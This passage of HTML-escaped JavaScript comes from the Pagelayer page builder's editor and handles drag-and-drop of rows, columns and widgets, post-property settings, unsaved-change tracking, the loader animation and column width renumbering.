			pagelayer_post_props_atts(prop, val);
			
			// Update the property
			var input = pagelayer.$$(&#039;[pagelayer-elp-name=&#039;+prop+&#039;]&#039;).find(&#039;input,textarea,.trumbowyg-editor&#039;);
			//console.log(input);
			
			if(input.length &gt; 0){
				if(input.hasClass(&#039;trumbowyg-editor&#039;)){
					input.html(val);
				}else{
					input.val(val);
				}
			}
		
		});
		
	});

}

// Prevent the click Insite editor
function pagelayer_prevent_click(){
	jQuery(document).on(&#039;submit&#039;, function(event){
		var target = jQuery(event.target);
		if (target.closest(pagelayer_editable).length &lt; 1) {
			event.preventDefault();
		}
	});
	
	jQuery(document).on(&#039;click&#039;, function(event){
		var target = jQuery(event.target);
		if (target.closest(&#039;a&#039;).length &gt; 0 &amp;&amp; target.closest(pagelayer_editable).length &lt; 1) {
			event.preventDefault()
		}
	});
}

// Removing post props options from the editor
function pagelayer_setting_post_props(){
	
	if(pagelayer_empty(pagelayer_post_categories)){
		delete pagelayer_shortcodes.pl_post_props.postCategory;
	}
	
	if(pagelayer_empty(pagelayer_post_tags)){
		delete pagelayer_shortcodes.pl_post_props.postTags;
	}

	if(pagelayer_empty(pagelayer_shortcodes.pl_post_props.pageParent.post_parent.list)){
		delete pagelayer_shortcodes.pl_post_props.pageParent;
	}
	
	if(pagelayer_post.post_type != &#039;post&#039;){
		delete pagelayer_shortcodes.pl_post_props.params.post_sticky;
	}
	
	if(pagelayer_empty(pagelayer_post_type_features[&#039;comments&#039;])){
		delete pagelayer_shortcodes.pl_post_props.postDiscussion.comment_status;
	}
	
	if(pagelayer_empty(pagelayer_post_type_features[&#039;trackbacks&#039;])){
		delete pagelayer_shortcodes.pl_post_props.postDiscussion.ping_status;
	}
	
	if(pagelayer_empty(pagelayer_shortcodes.pl_post_props.postDiscussion)){
		delete pagelayer_shortcodes.pl_post_props.postDiscussion;
	}
	
	if(pagelayer_empty(pagelayer_post_type_features[&#039;excerpt&#039;])){
		delete pagelayer_shortcodes.pl_post_props.postExcerpt;
	}
	
	if(pagelayer_empty(pagelayer_post_type_features[&#039;thumbnail&#039;])){
		delete pagelayer_shortcodes.pl_post_props.postFeaturedImage;
	}
	
	if(pagelayer_empty(pagelayer_post_type_features[&#039;author&#039;])){
		delete pagelayer_shortcodes.pl_post_props.params.post_author;
	}
}

// Set the default values of all default exported codes
function pagelayer_set_exported_defaults(){
	
	// Set defaults for the exported variety
	if(pagelayer_empty(pagelayer_default_params)){
		return;
	}
	
	for(var tag in pagelayer_default_params){
		
		for(var x in pagelayer_default_params[tag]){
			
			if(x in pagelayer.props_ref[tag]){
				pagelayer.props_ref[tag][x][&#039;default&#039;] = pagelayer_default_params[tag][x];
			}
			
		}
		
	}

}

// Do pagelayer Dirty
function pagelayer_do_dirty(jEle){
	
	pagelayer_isDirty = true;
	
	if (!window.onbeforeunload) {
		window.onbeforeunload = function(){
			return true;
		};
	}
	
	pagelayer_trigger_action(&#039;pagelayer_do_dirty&#039;, [jEle]);
}

function pagelayer_do_undirty(){

	pagelayer_isDirty = false;
	
	if (window.onbeforeunload) {
		window.onbeforeunload = null;
	}
	
}

// Executes when pagelayer is fully loaded
function pagelayer_loader_hide(){
	var inner = pagelayer.$$(&#039;.pagelayer-percent&#039;);
	inner.attr(&#039;loaded&#039;, 1);
	var w = parseInt(inner.text());
	var t = setInterval(function() {
		w = w + 1;
		inner.html(w +&#039;&lt;sup&gt;%&lt;/sup&gt;&#039;);
		if (w &gt;= 100){
			clearInterval(t);
			w = 0;
			var loaderWrapper = pagelayer.$$(&#039;#pagelayer-loader-wrapper&#039;);	
			loaderWrapper.addClass(&#039;pagelayer-loaded&#039;);
			loaderWrapper.animate({opacity:0}, function(){
				loaderWrapper.remove();
			});
		}
	}, 1);
	pagelayer.loaded = 1;
}

// Set row-option top zero(0) of the first row
function pagelayer_set_row_option_position(){
	try{
		if(jQuery(pagelayer_editable).offset().top &lt; 20){
			jQuery(pagelayer_editable).addClass(&#039;pagelayer-row-option-zero&#039;);
		}
	}catch(e){
		console.log(pagelayer_editable+&quot; not found and hence Pagelayer wont work on this page !&quot;);
	}
}

// The jQuery Object of the ELPD
var pagelayer_elpd;

// Store data values
function pagelayer_get_stored_data(url, version){
	var name = &#039;pagelayer_&#039;+url;
	var data = {};
	var force = false;
	
	// Try to parse the data
	try{
		data = JSON.parse(localStorage.getItem(name));
		
		if(data[&#039;version&#039;] !== version){
			force = true;
		}
		
	}catch(e){
		force = true;
	}
	
	// Force download
	if(force){
		return jQuery.ajax({
			url: url,
			type: &#039;GET&#039;,
			dataType: &#039;text&#039;,
			success:function(newData){
				var data = {};
				data[&#039;version&#039;] = version;				
				data[&#039;val&#039;] = newData;
				localStorage.setItem(name, JSON.stringify(data));
			}
		});
	}
	
	return data[&#039;val&#039;];
	
}

function pagelayer_closest_corner(jEle){
	var corners = [];
	var w = jEle.outerWidth();
	var h = jEle.outerHeight();	
	var topleft = jEle.offset();
	
	// 0 - Top Left
	corners.push(topleft);
	
	// 1 - Top Right
	corners.push({top: topleft.top, left: topleft.left+w});
	
	// 2 - Bottom Right
	corners.push({top: topleft.top+h, left: topleft.left+w});
	
	// 3 - Bottom Left
	corners.push({top: topleft.top+h, left: topleft.left});
	
	//console.log(corners);
	
	// Calculate the closest to the mouse
	var distances = {};
	for(var c in corners){
		var dist = Math.hypot(pagelayer.mouse.x - corners[c].left, pagelayer.mouse.y - corners[c].top);
		distances[c] = dist;
	}	
	//console.log(distances);
	
	var corner = Object.keys(distances).sort(function(a,b){return distances[a]-distances[b]})[0];
	//console.log(corner);
	
	return corner;
	
};

// Make left bar draggable
function pagelayer_make_leftbar_movable(){
	var pl_iframe = pagelayer.$$(&#039;.pagelayer-iframe&#039;),
		pl_leftbar = pagelayer.$$(&#039;.pagelayer-leftbar-table&#039;);

	// On mouse down in pagelayer-topbar-holder
	pagelayer.$$(&#039;.pagelayer-topbar-mover&#039;).on(&#039;mousedown&#039;, function(e){
		e = e || window.event;
		e.preventDefault();
		
		// Get leftbar position
		var orig_eleX = pl_leftbar.offset().left;
		var orig_eleY = pl_leftbar.offset().top;
		
		// Get the mouse cursor position at startup:
		var posX = e.clientX;
		var posY = e.clientY;
		
		// The variable needs to be empty.
		var newMethod = &#039;&#039;,
		change = true;
		
		var leftbar_mousemove = function(e){
			e = e || window.event;
			
			if(change){
				// Add class to leftbar
				pl_leftbar.addClass(&#039;pagelayer-leftbar-moving&#039;);
				
				// Add left-right overlay
				pl_iframe.before(&#039;&lt;div class=&quot;pagelayer-leftbar-move pagelayer-moveto-left&quot;&gt;&lt;/div&gt;&#039;);
				pl_iframe.after(&#039;&lt;div class=&quot;pagelayer-leftbar-move pagelayer-moveto-right&quot;&gt;&lt;/div&gt;&#039;);
				pagelayer.$$(&#039;body&#039;).addClass(&#039;pagelayer-overflow-hidden&#039;);
				change = false;
			}
					
			// calculate the new cursor position and set the element left-top position
			var top = orig_eleY + (e.clientY - posY);
			var left = orig_eleX + (e.clientX - posX);

			// set the element&#039;s new position:
			pl_leftbar.css({&#039;top&#039;: top +&#039;px&#039;,&#039;left&#039;: left +&#039;px&#039;});
			pagelayer.$$(&#039;.pagelayer-leftbar-toggle&#039;).hide();
				
			// Make a copy of new method
			var _newMethod = newMethod;
			newMethod = &#039;&#039;;
			
			// Get near by corner
			var offleft = pl_iframe.offset().left;
			
			if(offleft + 100 &gt; e.clientX){
				newMethod =  &#039;before&#039;;
			}else if(offleft+pl_iframe.outerWidth()- 100 &lt; e.clientX){
				newMethod =  &#039;after&#039;;
			}
			
			if(_newMethod != newMethod){
				pagelayer.$$(&#039;.pagelayer-leftbar-move&#039;).css({&#039;width&#039; :&#039;&#039;, &#039;opacity&#039;: &#039;0.33&#039;});
				
				if(newMethod == &#039;after&#039;){
					pagelayer.$$(&#039;.pagelayer-moveto-right&#039;).animate({&#039;width&#039; :&#039;60px&#039;, &#039;opacity&#039;: &#039;0.66&#039;}, 200);
					pl_leftbar.addClass(&#039;pagelayer-rightbar&#039;);
				}else if(newMethod == &#039;before&#039;){
					pagelayer.$$(&#039;.pagelayer-moveto-left&#039;).animate({&#039;width&#039; : &#039;60px&#039;, &#039;opacity&#039;: &#039;0.66&#039;}, 200);
					pl_leftbar.removeClass(&#039;pagelayer-rightbar&#039;);
				}
			}
		
		};
		
		var leftbar_mouseup = function(e){
			
			// Remove events
			pagelayer.gDocument.off(&#039;mousemove&#039;, leftbar_mousemove);
			pagelayer.gDocument.off(&#039;mouseup&#039;, leftbar_mouseup);
			
			// Remove class to leftbar			
			pagelayer.$$(&#039;.pagelayer-leftbar-move&#039;).remove();
			
			var windowHeight = jQuery(window).height();
			
			if(pl_leftbar.offset().top &lt; 0){
				pl_leftbar.css({&#039;top&#039;: &#039;10px&#039;});
			}else if( (windowHeight - e.clientY) &lt; 10){
				pl_leftbar.css({&#039;top&#039;: &#039;&#039;+windowHeight - 40+&#039;px&#039;});
			}
			
			if( !pagelayer_empty(newMethod)){
				pl_leftbar.removeClass(&#039;pagelayer-leftbar-moving&#039;);
				pl_leftbar.removeAttr(&#039;style&#039;);
				pagelayer.$$(&#039;.pagelayer-leftbar-toggle&#039;).show();
				pagelayer.$$(&#039;body&#039;).removeClass(&#039;pagelayer-overflow-hidden&#039;);
				pl_iframe[newMethod](pl_leftbar);
			}
			
			// make change true
			change = true;
		};
		
		pagelayer.gDocument.on(&#039;mouseup&#039;, leftbar_mouseup);
		pagelayer.gDocument.on(&#039;mousemove&#039;, leftbar_mousemove);

	});
	
}

// Make rows and cols draggable
function pagelayer_setup_drag(){
	
	// The object to show as drag
	var shower = jQuery(&#039;.pagelayer-drag-show&#039;);
	
	// Delete any prospect
	var clear_prospect = function(){
		jQuery(&#039;.pagelayer-drag-prospect&#039;).remove();
		
		// Shows the wrap as active
		jQuery(&#039;.pagelayer-drag-ele-hover&#039;).removeClass(&#039;pagelayer-drag-ele-hover&#039;);
	}
	
	// Reset the complete drag stuff
	var reset_dragging = function(){
		pagelayer.dragging = false;
		pagelayer.drag_is_new = false;
		pagelayer.drag_mouse = {x: 0, y: 0};
		reset_on_drag();
	}
	
	// Reset the element on you were last
	var reset_on_drag = function(){
		pagelayer.drag_closest = false;
		pagelayer.drag_closest_corner = null;
	}
	
	// Scroll by
	var scrollPx = 7;
	var scrollDist = 30;
	
	// If we are too close too the window edge, then scroll
	var handle_scroll = function(e){
		
		var windowHeight = jQuery(window).height();
		var windowWidth = jQuery(window).width();
	
		// Are we to close to the top or bottom
		if(e.clientY &lt; scrollDist){
			window.scrollBy(0, -scrollPx);
		}else if((windowHeight - e.clientY) &lt; scrollDist){
			window.scrollBy(0, scrollPx);
		}		
		
		// Are we to close to the top or bottom
		if(e.clientX &lt; scrollDist){
			window.scrollBy(-scrollPx, 0);
		}else if((windowWidth - e.clientX) &lt; scrollDist){
			window.scrollBy(scrollPx, 0);
		}
		
	}
	
	// SET the values
	reset_dragging();
	
	var ondragover = function(e) {
		//console.log(e);
		
		pagelayer.mouse.x = parseInt(e.pageX);
		pagelayer.mouse.y = parseInt(e.pageY);
		//console.log(pagelayer.mouse);
		
		// Are we dragging ?
		if(pagelayer.dragging){
			
			//console.log(e);
			
			e.preventDefault();			
			//e.stopPropagation();
			
			// The wrap of the element being dragged
			var wrap = pagelayer.dragging;
			
			// New addition
			var is_new = pagelayer.drag_is_new;
			var ele;
			var tag = pagelayer_tag(wrap);
			var id = pagelayer_id(wrap);
			
			// If existing element then add we are dragging
			if(!is_new){
				
				// Start Dragging
				if(!wrap.hasClass(&#039;pagelayer-is-dragging&#039;)){
					wrap.addClass(&#039;pagelayer-is-dragging&#039;);
				}
				
				//shower.hide();
			
				ele = document.elementFromPoint(e.clientX, e.clientY);
				//console.log(ele);
				
				// Drag the show object
				//shower.show();
				//var offset = {top: (e.pageY-10)+&#039;px&#039;, left: (e.pageX-10)+&#039;px&#039;}
				//shower.css(offset);
				
			}else{
				ele = document.elementFromPoint(e.clientX, e.clientY);
			}
			//console.log(e);
			
			// Have we moved more than 5px;
			var dist = Math.hypot(pagelayer.mouse.x - pagelayer.drag_mouse.x, pagelayer.mouse.y - pagelayer.drag_mouse.y);
			//console.log(dist);
			/*if(dist &amp;&amp; dist &lt; 5){
				return false;
			}*/
			
			// Handle the scroll
			handle_scroll(e);
			
			// Find the closest wrap
			var onWrap;
			
			// If we are a column, we can be over another column or row
			if(tag == &#039;pl_col&#039;){
				
				// Prevent column in inner-row and it&#039;s columns, if the draged column have inner-rows
				if(wrap.find(&#039;.pagelayer-wrap-inner-row&#039;).length &gt; 0){
					onWrap = jQuery(ele).closest(&#039;.pagelayer-wrap-col,.pagelayer-wrap-row&#039;);
					
					var innerRow = onWrap.closest(pagelayer_editable +&#039; .pagelayer-wrap-inner-row&#039;);
					if( onWrap.length &lt; 1 || innerRow.length &gt; 0){
						onWrap = jQuery(innerRow).closest(&#039;.pagelayer-wrap-col,.pagelayer-wrap-row&#039;);
					}
					
				}else{
					onWrap = jQuery(ele).closest(&#039;.pagelayer-wrap-col,.pagelayer-wrap-row,.pagelayer-wrap-inner-row&#039;);
				}
				//console.log(pagelayer_id(onWrap));
				
			// If we are a row, we can be over another row or a column
			}else if(tag == &#039;pl_row&#039;){
				onWrap = jQuery(ele).closest(&#039;.pagelayer-wrap-row&#039;);
				//console.log(pagelayer_id(onWrap));
			
			// For inner row we restrict to 1 level only
			}else if(tag == &#039;pl_inner_row&#039;){
				
				var ele_wrap = jQuery(ele).parents(&#039;.pagelayer-wrap-col&#039;);
				if(
					(ele_wrap.length == 1 &amp;&amp; !jQuery(ele).hasClass(&#039;pagelayer-wrap-col&#039;)) || 
					(ele_wrap.length == 0 &amp;&amp; jQuery(ele).hasClass(&#039;pagelayer-wrap-col&#039;))
				){
					onWrap = jQuery(ele).closest(&#039;.pagelayer-wrap-ele,.pagelayer-wrap-col,.pagelayer-wrap-inner-row&#039;);
				}else{
					onWrap = jQuery(ele).closest(&#039;.pagelayer-wrap-inner-row&#039;);
				}
			// For every other element, we can be over a col or ele
			}else{
				onWrap = jQuery(ele).closest(&#039;.pagelayer-wrap-ele,.pagelayer-wrap-col,.pagelayer-wrap-inner-row&#039;);
				
				// If we are inside the same widget tag
				// We are allowing for now, hence the following is commented
				/*var sameTag = onWrap.closest(pagelayer_editable +&#039; [pagelayer-tag=&quot;&#039;+tag+&#039;&quot;]&#039;);
				if(sameTag.length &gt; 0){
					onWrap = sameTag.closest(&#039;.pagelayer-wrap-ele&#039;);
				}*/
				
				// Is prevent to go inside any widget?
				if(&#039;prevent_inside&#039; in pagelayer_shortcodes[tag] &amp;&amp; !pagelayer_empty(pagelayer_shortcodes[tag][&#039;prevent_inside&#039;])){
										
					var preTags = pagelayer_shortcodes[tag][&#039;prevent_inside&#039;];
					var prevent_inside = false;
					var preEle = onWrap;
					
					if(typeof preTags === &#039;string&#039;){
						preTags = [preTags];
					}
					
					for(var toFind in preTags){
						preEle = onWrap.closest(pagelayer_editable +&#039; [pagelayer-tag=&quot;&#039;+preTags[toFind]+&#039;&quot;]&#039;);
						if (preEle.length &gt; 0) {
							prevent_inside = true;
							break;
						}
					}
					
					// If we find
					if(prevent_inside){
						onWrap = preEle.closest(&#039;.pagelayer-wrap-ele&#039;);
					}
				}
					
				var widGroup = onWrap.closest(&#039;.pagelayer-ele-widget-group&#039;);
				
				// If we are inside the group widget
				if(widGroup.length &gt; 0 &amp;&amp; widGroup.closest(pagelayer_editable).length &gt; 0){
					
					var wGroupTag = pagelayer_tag(widGroup);
					var use_inside = false;

					// If defined use inside only
					if(&#039;use_inside&#039; in pagelayer_shortcodes[tag] &amp;&amp; !pagelayer_empty(pagelayer_shortcodes[tag][&#039;use_inside&#039;])){
											
						var inTags = pagelayer_shortcodes[tag][&#039;use_inside&#039;];
						
						if(typeof inTags === &#039;string&#039;){
							inTags = [inTags];
						}
						
						for(var toFind in inTags){
							if (wGroupTag == inTags[toFind]) {
								use_inside = true;
							}
						}
					}
					
					// If we find nothing
					if(!use_inside){
						onWrap = widGroup.parent(&#039;.pagelayer-wrap-ele&#039;);
					}
				}
			}
			//console.log(onWrap);
			
			// If we find nothing
			if(pagelayer_empty(onWrap) || onWrap.length &lt; 1){
				clear_prospect();// Clear existing prospects
				reset_on_drag();// Also reset the last on item
				return false;
			}
			
			/*// If the columns more than 12 inside the row then return - As of now not enabled the below code
			if(tag == &#039;pl_col&#039;){
				var _onTag = pagelayer_tag(onWrap);
				var colEles;
				
				// Is on col
				if(_onTag == &#039;pl_col&#039;){
					colEles = onWrap.closest(&#039;.pagelayer-row-holder&#039;).children(&#039;.pagelayer-ele-wrap&#039;);
				}else{
					colEles = onWrap.find(&#039;.pagelayer-row-holder&#039;).first().children(&#039;.pagelayer-ele-wrap&#039;);
				}
				
				// If the columns more than 12
				if(colEles.length &gt;= 12){
					return false;
				}
			}*/
					
			// Get the ID
			var onId = pagelayer_id(onWrap);
			var onEle = pagelayer_ele_by_id(onId);
			
			// Do we have a parent ?
			var have_parent = function(Ele){
				var pOnId = pagelayer_get_parent(Ele);

				if(pagelayer_empty(pOnId) || tag == &#039;pl_col&#039;){
					return;
				}
				
				onId = pOnId;
				onEle = pagelayer_ele_by_id(pOnId);
				onWrap = pagelayer_wrap_by_id(pOnId);
				have_parent(onEle);
				
			}
			
			// Do we have a parent ?
			have_parent(onEle);
			
			var changed = false;
			
			// Was it the same ID like the one we were on before
			if(pagelayer.drag_closest != onId){
				pagelayer.drag_closest = onId;
				changed = true;
			}
			//console.log(onId+&#039;  &#039;+pagelayer.drag_closest)
			
			var req_corners = {0: &#039;top&#039;, 1: &#039;top&#039;, 2: &#039;bottom&#039;, 3: &#039;bottom&#039;};
			
			// For columns we redefine the top and bottom
			if(tag == &#039;pl_col&#039;){
				req_corners[1] = &#039;bottom&#039;;
				req_corners[3] = &#039;top&#039;;
			}
			
			// Determine the previous and next
			var next = wrap.next(&#039;.pagelayer-ele-wrap&#039;);
			var prev = wrap.prev(&#039;.pagelayer-ele-wrap&#039;);
			
			if(next.length == 1 &amp;&amp; pagelayer_id(next) == onId){
				req_corners = {0: &#039;bottom&#039;, 1: &#039;bottom&#039;, 2: &#039;bottom&#039;, 3: &#039;bottom&#039;};
			}
			
			if(prev.length == 1 &amp;&amp; pagelayer_id(prev) == onId){
				req_corners = {0: &#039;top&#039;, 1: &#039;top&#039;, 2: &#039;top&#039;, 3: &#039;top&#039;};
			}
			
			// Which corner are we closest to ?
			var corner_num = pagelayer_closest_corner(onWrap);
			var corner = req_corners[corner_num];
			
			//console.log(corner+&#039; != &#039;+pagelayer.drag_closest_corner)
			if(corner != pagelayer.drag_closest_corner){
				pagelayer.drag_closest_corner = corner;
				changed = true;
			}
			
			//console.log(changed);
			
			// If we are on our self then clear return false and we are on hide active widget
			if(onId == id || onWrap.hasClass(&#039;pagelayer-hide-active&#039;)){
				clear_prospect();// Clear existing prospects
				reset_on_drag();// Also reset the last on item
				return false;
			}
			
			// Then lets start showing
			if(changed){
				
				// Record the mouse points
				pagelayer.drag_mouse.x = parseInt(e.pageX);
				pagelayer.drag_mouse.y = parseInt(e.pageY);
				
				// Clear any existing prospect
				clear_prospect();
				
				// Add new prospect
				var prospect = &#039;&lt;div class=&quot;pagelayer-drag-prospect&quot; pagelayer-corner=&quot;&#039;+corner+&#039;&quot;&gt;&lt;/div&gt;&#039;;
				
				if(corner == &#039;bottom&#039;){
					onWrap.append(prospect);
				}else if(corner == &#039;top&#039;){
					onWrap.prepend(prospect);
				}
				
				prospect = jQuery(&#039;.pagelayer-drag-prospect&#039;)
				var animate_props = {height: &#039;5px&#039;};
				
				// For column add a special class
				if(tag == &#039;pl_col&#039;){
					prospect.addClass(&#039;pagelayer-drag-prospect-col&#039;);
					animate_props[&#039;width&#039;] = &#039;5px&#039;;
					
					// Adjust the left and right
					var css = {};
					css[(corner == &#039;bottom&#039; ? &#039;right&#039; : &#039;left&#039;)] = &#039;0px&#039;;
					prospect.css(css);
				}
				
				// Animate the prospect
				prospect.animate(animate_props, 200);
				
				// Highlight the wrap via overlay
				onWrap.children(&#039;.pagelayer-ele-overlay&#039;).addClass(&#039;pagelayer-drag-ele-hover&#039;);
				
			}
			
		}
	}
	
	// When mouse is pressed down
	var ondragstart = function(e){
		
		//console.log(e);
		
		// Target
		var tEle = jQuery(e.target);
		var wrap = tEle.closest(&#039;.pagelayer-ele-wrap&#039;);
		//console.log(jEle[0]);
		
		// Is it an existing element ?		
		if(wrap.length &lt; 1){
			return false;
		}
		
		// Do we have a parent ?
		var id = pagelayer_id(wrap);
		var jEle = pagelayer_ele_by_id(id);
		var pId = pagelayer_get_parent(jEle);
		
		if(pId){
			wrap = pagelayer_wrap_by_id(pId);
		}
		
		//e.preventDefault();
		
		var tag = pagelayer_tag(wrap);
		
		e.originalEvent.dataTransfer.setData(&#039;Text&#039;, 1);
		var img = document.createElement(&#039;img&#039;);
		img.src = shower.attr(&#039;src&#039;);
		e.originalEvent.dataTransfer.setDragImage(img, 32, 32);
		
		pagelayer.dragging = wrap;
		
	}
	
	// When mouse is pressed down
	var ondrop = function(e){
		
		//console.log(e);
		
		// Stop dragging ?
		if(pagelayer.dragging){
			
			e.preventDefault();
			
			var wrap = pagelayer.dragging;
			var tag = pagelayer_tag(wrap);
			var gId = wrap.attr(&#039;pagelayer-global-id&#039;);
			var fromEl = wrap.parent();
			var id;
			
			// Global ID is there for sure ?
			if(pagelayer_empty(gId) || pagelayer_empty(pagelayer_global_widgets[gId])){
				gId = 0;
			}
			
			wrap.removeClass(&#039;pagelayer-is-dragging&#039;);
			
			// Find any prospect
			var prospect = jQuery(&#039;.pagelayer-drag-prospect&#039;);
			//console.log(prospect[0]);
				
			// It should be exactly 1
			if(prospect.length == 1){
				
				var onWrap = prospect.parent();
				var onId = pagelayer_id(onWrap);
				var onTag = pagelayer_tag(onWrap);
				var dropped;	
				var corner = prospect.attr(&#039;pagelayer-corner&#039;);
				var method = (corner == &#039;top&#039;) ? &#039;before&#039; : &#039;after&#039;;
				var before_loc; // Location before the drop
				
				// Create the element if it needs to be created
				if(pagelayer.drag_is_new){
					dropped = jQuery(&#039;&lt;div pagelayer-tag=&quot;&#039;+tag+&#039;&quot;&gt;&lt;/div&gt;&#039;);
					
					// Is there a global ID
					if(!pagelayer_empty(gId)){
						dropped.attr(&#039;pagelayer-global-id&#039;, gId);
					}
				
				// Move the object
				}else{
					
					// Get near by element before move
					before_loc = pagelayer_near_by_ele(pagelayer_id(wrap), tag);
					
					dropped = wrap;
					dropped.detach();
				}
				
				// If I am a column or row, then I go only before or after my same type !
				if((onTag == &#039;pl_col&#039; || onTag == &#039;pl_row&#039;) &amp;&amp; onTag == tag){
				
				// If I am a column and I am on a row 
				// OR I am a normal element and I am on column
				}else if((tag == &#039;pl_col&#039; &amp;&amp; (onTag == &#039;pl_row&#039; || onTag == &#039;pl_inner_row&#039;)) || onTag == &#039;pl_col&#039;){
					// We need to find the holder and add the prospect there
					var holder = pagelayer_shortcodes[onTag][&#039;holder&#039;];
					onWrap = onWrap.children(&#039;.pagelayer-ele&#039;).children(holder);
					method = (corner == &#039;top&#039;) ? &#039;prepend&#039; : &#039;append&#039;;
				}
				
				// Attach or shift the element
				onWrap[method](dropped);
				//console.log(dropped);
				
				// Trigger the onadd
				if(pagelayer.drag_is_new){
					id = pagelayer_onadd(dropped);
					
					// Create Column
					if((tag == &#039;pl_row&#039; || tag == &#039;pl_inner_row&#039;) &amp;&amp; pagelayer_empty( dropped.attr(&#039;pagelayer-global-id&#039;) )){
						var col = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_col&quot;&gt;&lt;/div&gt;&#039;);
						jQuery(&#039;[pagelayer-id=&quot;&#039;+id+&#039;&quot;]&#039;).find(&#039;.pagelayer-row-holder&#039;).append(col);
						var col_id = pagelayer_onadd(col, false);
					}
				
				// Existing elements
				}else{
					id = pagelayer_id(wrap);
					
					// Save in action history
					pagelayer_history_action_push({
						&#039;title&#039; : pagelayer_shortcodes[tag][&#039;name&#039;],
						&#039;action&#039; : &#039;Moved&#039;,
						&#039;pl_id&#039; : id,
						&#039;before_loc&#039; : before_loc,
						&#039;after_loc&#039; : {&#039;method&#039; : method, &#039;cEle&#039; : onWrap}
					});
					
					pagelayer_do_dirty(pagelayer_ele_by_id(id));
				}
				
				// Defining the variables as needed
				var jEle = pagelayer_ele_by_id(id);
				wrap = pagelayer_wrap_by_id(id);
				var toEl = wrap.parent();
				
				// Column number handle
				if(tag == &#039;pl_col&#039;){
					
					var row_holder = jEle.parent().closest(&#039;.pagelayer-row-holder&#039;);
					
					// Renumber the col where you are going
					pagelayer_renumber_col(row_holder);
					
					// Renumber the old columns as well
					if(!pagelayer.drag_is_new){
						var from_row = fromEl.closest(&#039;.pagelayer-row-holder&#039;);
						pagelayer_renumber_col(from_row);
					}
				}
				
				// Handle the empty col
				if(tag != &#039;pl_col&#039;){
					
					pagelayer_empty_col(toEl.closest(&#039;.pagelayer-col-holder&#039;));
					
					if(!pagelayer.drag_is_new){
						pagelayer_empty_col(fromEl.closest(&#039;.pagelayer-col-holder&#039;));
					}
					
				}
				
			}
			
			// Clear prospect
			clear_prospect();
		}
		
		reset_dragging();
		
	}
	
	// Add the events for inner content - as we are using the drag API	
	jQuery(document).on(&#039;dragstart&#039;, ondragstart);
	jQuery(document).on(&#039;dragover&#039;, ondragover);
	jQuery(document).on(&#039;drop&#039;, ondrop);
	
	// For addition of new elements
	pagelayer.$$(&#039;.pagelayer-leftbar&#039;).on(&#039;dragstart&#039;, function(e){
		//console.log(e);
		
		var tEle = jQuery(e.target);
		var jEle = tEle.closest(&#039;.pagelayer-shortcode-drag&#039;);
		var global_id = jEle.attr(&#039;pagelayer-global-id&#039;);
		
		// Is it an existing element ?
		if(jEle.length &lt; 1){
			return false;
		}
		
		e.originalEvent.dataTransfer.setData(&#039;tag&#039;, pagelayer_tag(jEle));
		
		if(!pagelayer_empty(global_id)){
			e.originalEvent.dataTransfer.setData( &#039;global_id&#039;, global_id );
		}
		
		pagelayer.dragging = jEle;
		pagelayer.drag_is_new = true;
		
	});
	
	// Handle editable content by removing drag
	var onmousedown = function(e){
		
		var tEle = jQuery(e.originalEvent.explicitOriginalTarget);
		
		if(tEle.closest(&#039;[pagelayer-editable]&#039;).length &gt; 0){
			//console.log(&#039;Is Editable MouseDown&#039;);			
			tEle.parents(&#039;[draggable]&#039;).attr(&#039;draggable&#039;, &#039;false&#039;);
		}
	
	}
	
	// Handle editable content by adding drag that was removed
	var onmouseup = function(e){
		jQuery(document).find(&#039;[draggable=false]&#039;).attr(&#039;draggable&#039;, &#039;true&#039;);
	}
	
	// Handle editable contents by temprarily removing drag
	jQuery(document).on(&#039;mousedown&#039;, onmousedown);
	jQuery(document).on(&#039;mouseup&#039;, onmouseup);

};

// Handle empty col
// selector should be col holder
function pagelayer_empty_col(selector){
	
	// Loop through
	jQuery(selector).each(function(){
		
		var jEle = jQuery(this);// jEle is the COL HOLDER
		
		// Are we a col ?
		if(!jEle.hasClass(&#039;pagelayer-col-holder&#039;)){
			return;
		}
		
		// Column is becoming blank, so show add ele
		if(jEle.children().length &lt; 1){
			//from.addClass(&#039;pagelayer-empty-col&#039;);
			jEle.append(&#039;&lt;div class=&quot;pagelayer-add-ele pagelayer-ele-wrap&quot;&gt;&lt;i class=&quot;fas fa-plus&quot;&gt;&lt;/i&gt;&lt;br /&gt;&lt;span&gt;Empty column please Drag Widgets&lt;/span&gt;&lt;/div&gt;&#039;);			
			//var h = jEle.parent().parent().children(&#039;.pagelayer-ele-overlay&#039;).height();
			//jEle.children(&#039;.pagelayer-add-ele&#039;).height(h);
			
		// Any add ele sign with non-empty columns here ?
		}else if(jEle.children(&#039;.pagelayer-add-ele&#039;).length &gt; 0 &amp;&amp; jEle.children().length &gt; 1){
			jEle.children(&#039;.pagelayer-add-ele&#039;).remove();
		}
		
		jEle.find(&#039;&gt;.pagelayer-add-ele .fas&#039;).unbind(&#039;click&#039;);
		jEle.find(&#039;&gt;.pagelayer-add-ele .fas&#039;).on(&#039;click&#039;, function(event){
			event.stopPropagation();
			pagelayer.$$(&#039;.pagelayer-elpd-close&#039;).click();
			
			pagelayer_show_widget_list(jQuery(this));
		});
		
	});
	
};

// Reset the column widths
// The selector should be a ROW HOLDER
function pagelayer_renumber_col(selector){
	
	var pEle = jQuery(selector);
	var children = pEle.children(&#039;.pagelayer-ele-wrap&#039;);
	var cols = Math.floor(12 / (children.length));
	var obj = {col: cols};
	
	// Find out the number of cols of other cols
	children.each(function(){
		
		// This is the wrapper
		var jEle = jQuery(this);
		
		// The real element
		var Ele = jEle.find(&#039;&gt;.pagelayer-ele&#039;);
		
		for(var x=1; x&lt;=12; x++){
			if(jEle.hasClass(&#039;pagelayer-col-&#039;+x)){
				jEle.removeClass(&#039;pagelayer-col-&#039;+x);
				Ele.removeClass(&#039;pagelayer-col-&#039;+x);
				break;
			}
		}
		jEle.addClass(&#039;pagelayer-col-&#039;+cols);
		jEle.css({&#039;width&#039;: &#039;&#039;});
			
		// Set the att
		pagelayer_set_atts(Ele, obj);
		pagelayer_set_atts(Ele, &#039;col_width&#039;,&#039;&#039;);
		pagelayer_sc_render(Ele)
	});
}

// Make column resizable handler
function pagelayer_col_make_resizable(wrap){
		
	// Resize handler element
	var rHandler = jQuery(&#039;&lt;div class=&quot;pagelayer-resize-handler&quot;&gt;&lt;div class=&quot;pagelayer-resize-icon&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;);
		
	var pResize = wrap.children(&#039;.pagelayer-ele-overlay&#039;).find(&#039;.pagelayer-resize-handler&#039;);
	
	if(pResize.length &gt; 0){
		return;
	}
	
	// Append it
